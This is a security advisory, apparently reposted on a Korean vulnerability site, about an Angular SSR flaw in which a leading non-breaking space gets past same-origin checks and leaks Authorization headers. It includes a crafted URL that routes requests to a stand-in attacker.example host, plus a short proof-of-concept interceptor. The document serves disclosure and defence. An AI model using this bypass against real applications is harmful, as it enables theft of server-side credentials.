Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.
Technical Description
When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.
However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.
Impact & Reachability
- Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's
HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. - Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.
Proof of Concept:
1// Interceptor performing same-origin validation 2const trustedOrigin = new URL('http://localhost:4000/'); 3const target = new URL(req.urlWithParams, trustedOrigin); 4 5if (target.origin !== trustedOrigin.origin) { 6 throw new Error('Cross-origin request blocked'); 7} 8 9// Request passes validation, server attaches sensitive credential:10const authenticatedReq = req.clone({11 headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),12});13 14// @angular/platform-server previously trimmed the URL, converting it into15// //attacker.example/collect and routing the credential to the attacker.Workarounds
- Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as
\u00A0) before performing origin checks or passing them toHttpClient. - Avoid relying solely on
new URL(input, trustedOrigin).originfor authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 9
링크 내용 불러오는 중…